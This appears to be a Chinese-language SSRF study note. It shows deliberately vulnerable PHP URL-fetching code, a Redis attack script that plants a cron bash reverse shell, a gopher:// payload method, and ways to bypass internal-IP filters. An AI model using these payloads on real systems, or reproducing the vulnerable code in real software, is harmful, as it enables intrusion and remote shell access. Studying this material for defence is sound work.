SSRF
服务器端请求伪造
存在 SSRF 隐患的 PHP 函数
file_get_contents()
如下代码,将从 URL 参数获取 URL 的值,并将其保存为文件后并展示2:<?php $url = $_GET['url']; echo file_get_contents($url); ?>
fsockopen()
使用 socket 建立 TCP 连接并传输数据2:<?php function GetFile($host,$port,$link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if (!$fp) { echo "$errstr (error number $errno) \n"; } else { $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $contents=''; while (!feof($fp)) { $contents.= fgets($fp, 1024); } fclose($fp); return $contents; } } ?>
curl_exec()
使用 libcurl 获取数据2:<?php if (isset($_POST['url'])){ $link = $_POST['url']; $curlobj = curl_init();// 创建新的 cURL 资源,v7.43 存在 %00 截断 curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项 $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器,默认不跟随跳转 curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源 $filename = './curled/'.rand().'.txt'; file_put_contents($filename, $result); echo $result; } ?>
fopen()
readfile()
攻击 Redis 2
<?php # ssrf.php $ch = curl_init(); //创建新的 cURL 资源 curl_setopt($ch, CURLOPT_URL, $_GET['url']); //设置URL 和相应的选项 #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_exec($ch); //抓取 URL 内容并把它传递给浏览器,存储进文件 curl_close($ch); //关闭 cURL 资源,并且释放系统资源 ?>
<html> <head> <title>post.php</title> </head> <body> <?php echo $_REQUEST[cmd]; ?> </body> </html>
dict 探测端口:
curl -v -H 'host:one.php.local' 'http://127.0.0.1:8080/ssrf.php?url=dict://127.0.0.1:22'
SSH-2.0-OpenSSH_for_Windows_8.1 Invalid SSH identification string.
exp(linux):
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/3000 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1 redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config set dbfilename root redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit bash shell.sh 127.0.0.1 6379
转换规则: 如果第一个字符是 > 或者 < 那么丢弃该行字符串,表示请求和返回的时间。 如果前 3 个字符是 +OK 那么丢弃该行字符串,表示返回的字符串。 将 \r 字符串替换成 %0d%0a 空白行替换为 %0a
再利用 gopher 协议 payload3 反弹 shell:
curl -v 'http://127.0.0.1:8080/ssrf.php?url=gopher://127.0.0.1:6379/_*...' -H 'host: one.php.local'
绕过 URL 白名单或禁内网 IP 地址
- @
- IP 地址转换为其他进制
- DNS 解析 / short url
- [::] -> localhost
- 127.0.0.1:80
- 127。0。0。1
- Unicode
由此增强防御:限制协议、对 DNS 响应结果或实际的建链 IP 进行判断(绕过:DNS Rebinding)。 python 防御实现:Avoid SSRF 。
Footnotes:
2
ssrf漏洞详解? - w01ke的回答 - 知乎 https://www.zhihu.com/question/54519644/answer/2338531202
3
gopher payload 编码:https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher